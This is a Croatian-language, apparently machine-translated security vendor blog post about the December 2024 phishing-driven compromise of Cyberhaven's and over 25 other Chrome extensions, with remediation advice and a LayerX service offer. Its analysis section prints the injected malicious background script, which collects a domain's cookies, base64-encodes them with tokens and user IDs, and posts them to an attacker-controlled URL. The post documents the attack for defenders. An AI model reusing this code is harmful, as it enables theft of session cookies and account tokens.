Zadnje ažuriranje: 30. prosinca 2024

Ova nit bloga prati globalnu kampanju napada koja cilja na ekstenzije preglednika u Chrome web trgovini. Ažurirat ćemo nove detalje čim budu dostupni.

Rezime

Dana 27. prosinca 2024., startup Cyberhaven koji se bavi kibernetičkom sigurnošću otkrio je da je napad ugrozio ekstenziju preglednika i u njega ubacio zlonamjerni kod. Nakon što su se pojavili detalji ovog napada, brzo su otkrivena dodatna kompromitirana proširenja preglednika, s trenutno poznatim utjecajem na više od 25 proširenja.

Niz uživo objašnjava sve detalje koje znamo, koja su proširenja pogođena, kako bi se organizacije trebale zaštititi i kako LayerX pomaže svojim klijentima u rješavanju proširenja ugroženih ovim napadom.

Brze veze unutar ovog dokumenta:

  • Kako je napad otkriven
  • Kako je napad izveden
  • Tehnička analiza napada
  • Dodatna pogođena proširenja
  • Kako se zaštititi
  • Kako LayerX pomaže korisnicima da se zaštite
  • Besplatna revizija i sanacija ugroženih proširenja

Kako je napad otkriven

Dana 27. prosinca 2024. Cyberhaven je obavijestio svoje kupce o kršenju sigurnosti koje je dovelo do kompromitiranja vjerodajnica zaposlenika Cyberhavena, koje su korištene za ubacivanje zlonamjerne verzije ekstenzije preglednika Cyberhaven u Chrome Store. Sigurnosno proširenje Cyberhaven trenutačno ima preko 400,000 XNUMX korisnika na koje je vjerojatno utjecalo ovo kršenje.

Vijest o incidentu bila je prvo izvješće bloga o kibernetičkoj sigurnosti Vulnu, koja je dobila kopiju Cyberhaven't e-pošte kupcima.

Prema analizi Cyberhavena, 24. prosinca, phishing napad kompromitirao je jednog od njihovih zaposlenika, što je rezultiralo time da su napadači dobili pristup ekstenziji preglednika tvrtke na Chrome web trgovini.

Napadači su zatim iskoristili ovaj pristup za prijenos zlonamjerne verzije Cyberhavenovog proširenja preglednika i ažurirali ga u Chrome Storeu u ranim jutarnjim satima 25. prosinca.

Prema Cyberhavenu, zlonamjerno ažuriranje otkriveno je oko dan kasnije, a zlonamjerni kod je uklonjen u ranim jutarnjim satima 26. prosinca. Sve u svemu, zlonamjerna verzija bila je online nešto više od 24 sata.

Međutim, kako se počelo pojavljivati ​​da su kompromitirana dodatna proširenja, postalo je očito da napad na Cyberhaven nije bio izolirani napad usmjeren samo na ovu tvrtku, već dio opsežne kampanje. 

To analizu incidenta u Cyberhavenu čini relevantnom za razumijevanje kampanje u cjelini.

Kako je napad izveden

Administratorski račun ekstenzije preglednika Cyberhaven bio je ugrožen putem ciljanog phishing napada, dopuštajući napadnutom da objavi njegovu zlonamjernu verziju.

Budući da ovaj incident nije bio samo jednokratni napad, već dio kampanje usmjerene na više ekstenzija, vjerujemo da je pristup krađi identiteta korišten za napad na Cyberhaven repliciran i sa svim drugim ekstenzijama.

Najvjerojatniji izvor meta za phishing kampanju je sama Chrome web trgovina.

Za svako proširenje Chrome Store pruža pojedinosti o izdavaču proširenja, zajedno s adresom e-pošte za kontakt:

 

 

Ogledni podaci za kontakt proširenja preglednika Cyberhaven iz Chrome web trgovine

Koristeći te adrese e-pošte, napadači su slali lažnu e-poštu koja je navodno bila u ime Googlea, upozoravajući primatelje na 'kršenja' na njihovim računima.

Ovo je kopija phishing e-poruke poslane Cyberhavenu, koju je tvrtka dostavila kao dio svojeg tehnička analiza incidenta:

Međutim, slične poruke e-pošte pojavile su se i iz drugih izvora: a nit na grupi za raspravu Chromium.org pitali o sumnjivoj e-poruci koju su navodno primili od Googlea, kako bi shvatili radi li se o pokušaju krađe identiteta:

Napad proširenja preglednika 2024

Ova je poruka e-pošte gotovo identična onoj koja je kompromitirala Cyberhaven (iako navodi drugačiji razlog 'kršenja'), što ukazuje da je bila dio iste phishing kampanje. Prema objavi, ovaj e-mail primljen je 23. prosinca, točno u vrijeme kada je Cyberhaven probijen.

Nakon što je ciljana meta kliknula vezu e-pošte, bila je preusmjerena na Google obrazac za autorizaciju za dodavanje OAuth Google aplikacije pod nazivom "Proširenja pravila privatnosti".

aut

Praćenje ovog tijeka odobrenja dovelo bi do autorizacije zlonamjerne OAuth aplikacije treće strane i dopuštanja pristupa žrtvinom računu Chrome web trgovine. Međutim, zbog načina na koji je napad osmišljen, napadači nisu morali kompromitirati same vjerodajnice računa (tj. zaporku), samo su se 'povukli' na dopuštenja koja je dodijelila zlonamjerna aplikacija.

Tehnička analiza napada

Nakon što su napadači dobili pristup žrtvinom računu web trgovine, ubacili su kod u datoteku worker.js ekstenzije za pristup vanjskom URL-u (cyberhavenext[.]pro) i preuzeli vanjsku konfiguracijsku datoteku.

Svaki put kada bi se preglednik pokrenuo, proširenje bi dohvatilo konfiguracijsku datoteku s udaljenog poslužitelja. Ova datoteka kontrolira ponašanje ekstenzije i napadač je može dinamički ažurirati, dopuštajući mu da diktira što i kada događaju se radnje. napadač može promijeniti konfiguracijsku datoteku u bilo kojem trenutku, omogućujući im da dinamički prilagode napad različitim okruženjima ili ciljevima. Ovo je ključ fleksibilnosti napada.

Dolje je primjer takvog koda:

Proširenja preglednika napadaju zlonamjerni kod

Ključni uvidi iz koda:

  1. Ubrizgano u više ekstenzija: Zlonamjerni kod nije ograničen na jedno proširenje. Umjesto toga, umetnut je u više proširenja, pri čemu svako proširenje dohvaća vlastitu jedinstvenu konfiguracijsku datoteku. Ova strategija omogućuje napadaču diverzifikaciju vektora napada, prilagodbu ponašanja za različita proširenja i otkrivanje učini izazovnijim.
  2. Ponašanje koje se ponavlja: Dohvaćanje konfiguracije događa se svaki put kada se preglednik pokrene, čime se osigurava da svako proširenje uvijek radi s najnovijim uputama koje daje napadač.
  3. Varljivo imenovanje: Kod koristi nazive varijabli ili atributa, kao što je cyberhavenext_ext_manage, koji sadrži naziv tvrtke. Zbog toga se programerima koji pregledavaju pohranu ili kod proširenja čini legitimnim.
  4. Zlouporaba lokalne pohrane: Pohranjivanjem konfiguracijskih podataka u krom.pohrana.lokalno, napadač osigurava postojanost. Programeri koji provjeravaju ove podatke mogli bi im pogrešno vjerovati zbog upotrebe poznatih imena koja zvuče vjerodostojno.
  5. Dinamička kontrola: Krajnja točka (https://cyberhavenext.pro/ai-cyberhaven) omogućuje napadaču izmjenu konfiguracijskih datoteka za svako proširenje u bilo kojem trenutku, pružajući potpunu kontrolu nad funkcionalnošću i ponašanjem svakog zaraženog proširenja.
  6. Prilagođene konfiguracije: Svako proširenje dohvaća jedinstvenu konfiguraciju, zbog čega je zlonamjerno ponašanje teže generalizirati i otkriti. Ovaj pristup omogućuje prilagođene napade na temelju specifične namjene proširenja ili baze korisnika.

Osim toga, kod je dodao novu datoteku (content.js) proširenjima, koja se koristi za prikupljanje korisničkih podataka na web-mjestima i njihovo eksfiltriranje na vanjsko web-mjesto. Pozadinska skripta u ekstenziji djeluje kao središnji kontroler, rukujući dolaznim porukama iz skripti sadržaja i izvodeći različite radnje na temelju tih poruka. Sljedeći isječak koda pokazuje fleksibilnu strukturu koja čeka na obradu više vrsta zahtjeva:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

Skripta koristi chrome.runtime.onMessage.addListener za obradu raznih radnji. Svaka radnja definira specifično ponašanje, kao što je postavljanje mrežnih zahtjeva.

Kada "cyberhavenext-check-errors”, napadač dohvaća osjetljive kolačiće pomoću chrome.cookies.getAll napadač također kombinira ove podatke s drugim informacijama (kao navigator[c] i e.uid) napadač će prikriti sadržaj pomoću btoa() kako bi ga pretvorili u base64. To čini podatke manje čitljivima u alatima za nadzor mreže, dodajući sloj zamagljivanja.

Ugrađivanjem ovih radnji u pozadinsku skriptu, napadač osigurava sljedeće:

  • Zlonamjerna aktivnost neovisna je o interakcijama korisnika.
  • Pojavljuje se tiho u pozadini, što otežava otkrivanje.
Analiza koju je Cyberhaven proveo na izloženim krajnjim točkama ukazuje da se maliciozni kod fokusirao posebno na kolačiće i autentifikacijske tokene za Facebook, a posebno - Facebook poslovne račune:

Prema Cyberhavenu, ciljani podaci uključivali su tokene za pristup Facebooku, korisničke ID-ove, informacije o računu i detalje računa za Facebook Ads.

Dodatna pogođena proširenja

Nakon što je identificiran URL zlonamjernog C&C poslužitelja, sigurnosni istraživači upotrijebili su obrnuti DNS za identifikaciju dodatnih domena koje su se riješile na istu IP adresu. To je dovelo do otkrivanje dodatnih kompromitiranih proširenja preglednika i otkrio razmjere ove napadačke kampanje.

Trenutno je otkriveno da je ugroženo više od 25 ekstenzija preglednika, s instalacijskom bazom od preko 2.3 milijuna korisnika:

  • AI pomoćnik – ChatGPT i Gemini za Chrome
  • AI Shop Buddy
  • Bard AI chat
  • Bookmark Favicon Changer
  • Castorus
  • ChatGPT pomoćnik – pametno pretraživanje
  • Cyberhaven sigurnosno proširenje V3
  • Earny – do 20% povrata novca
  • Lovac na e-poštu
  • GPT 4 Sažetak s OpenAI-jem
  • GraphQL mrežni inspektor
  • Internxt VPN
  • Snimač povijesti tipkovnice
  • Parrot Talks
  • Najstariji
  • Način čitača
  • Automator pretraživanja nagrada
  • Pretražite Copilot AI Assistant za Chrome
  • Poredaj po najstarijem
  • Tackker – online keylogger alat
  • TinaMind – AI asistent koji pokreće GPT-4o!
  • Uvoice
  • VidHelper – Video Downloader
  • Vidnoz Flex – Video snimač i dijeljenje videa
  • Vizualni efekti za Google Meet
  • VPNCity
  • Wayin AI

Kako se zaštititi

Iako je dosadašnja tehnička analiza pokazala da je primarni cilj ove kampanje bila krađa Facebook vjerodajnica i pristupnih tokena, nemoguće je isključiti izlaganje vjerodajnica dodatnih web stranica.

Zbog toga LayerX preporučuje sljedeće radnje za sve pogođene korisnike:

  1. Uklonite zahvaćena proširenja preglednika: provjerite jesu li sva pogođena proširenja uklonjena i/ili blokirana. Neka su proširenja već prenijela ažurirane verzije koje su uklonile zlonamjerni kod, ali ne sve. Štoviše, sva kompromitirana proširenja koja su već preuzeta ostat će izložena dok korisnik ne ažurira verziju proširenja. Zbog toga je ključno aktivno onemogućiti sva potencijalno izložena proširenja.
  2. Ažurirajte sva proširenja na najnovije verzije: u slučaju da je izdavač izdao popravak, važno je ažurirati instaliranu verziju proširenja što je prije moguće (pod pretpostavkom da već nije uklonjeno)
  3. Izbrišite sve kolačiće pogođenih korisnika: budući da je napad ciljao kolačiće i pristupne tokene web stranica, neophodno je izbrisati sve postojeće kolačiće i osvježiti pristupne tokene.
  4. Rotirajte lozinke: kao najbolja praksa, također se preporučuje osvježiti sve lozinke pogođenih korisnika kako bi se osiguralo da nijedna vjerodajnica za pristup nije ugrožena.

Kako LayerX pomaže svojim klijentima

  1. Otkriće eksponiranih ekstenzija: otkako je Cyberhaven incident razotkriven, sigurnosni istraživači diljem svijeta rade na identificiranju dodatnih kompromitiranih proširenja. LayerX je bio aktivan u ovom nastojanju, otkrivajući niz takvih proširenja i kombinirajući ih s javno dostupnim informacijama.
  2. Otkrivanje zlonamjernih proširenja postavljenih u mrežama korisnika: LayerX kontinuirano ažurira svoje popise zlonamjernih proširenja kako bi uključio proširenja za koja je otkriveno da su ugrožena ovom povredom. Svaki put kad se otkrije takvo proširenje, korisnici su odmah upozoreni. Osim toga, LayerX se aktivno obraća pogođenim korisnicima kako bi ih upozorio na ove nalaze.
  3. Uvođenje politika automatske provedbe: LayerX je ažurirao korisnička pravila kako bi automatski onemogućio sva poznata kompromitirana proširenja.
  4. Brisanje kolačića izloženih korisnika: na zahtjev korisnika, LayerX može aktivno nametnuti brisanje kolačića kod izloženih korisnika, čime se poništavaju kolačići i autentifikacijski tokeni.
  5. Prisilno mijenjanje lozinki za izložene korisnike: LayerX također može implementirati sigurnosne politike kako bi prisilio rotaciju lozinki na izložene korisnike, kako bi osigurao da nijedna vjerodajnica za pristup ne ostane izložena.

Besplatna revizija i sanacija ugroženih proširenja

Zbog širine i opsega ovog napada, LayerX nudi organizacijama koje su pogođene ovim napadom (ili koje su zabrinute da bi mogle biti pogođene) besplatnu reviziju proširenja preglednika i popravke.

Ova revizija uključuje:

  • Otkrivanje svih proširenja preglednika instaliranih u vašem okruženju
  • Mapiranje koji korisnici imaju koja proširenja instalirana na svojim krajnjim točkama
  • Detaljno ocjenjivanje rizika svakog proširenja preglednika
  • Uklanjanje ugroženih zlonamjernih proširenja preglednika
  • Rotacija korisničkih kolačića i lozinki, ako je potrebno

Kliknite ovdje da se prijavite za ovu procjenu.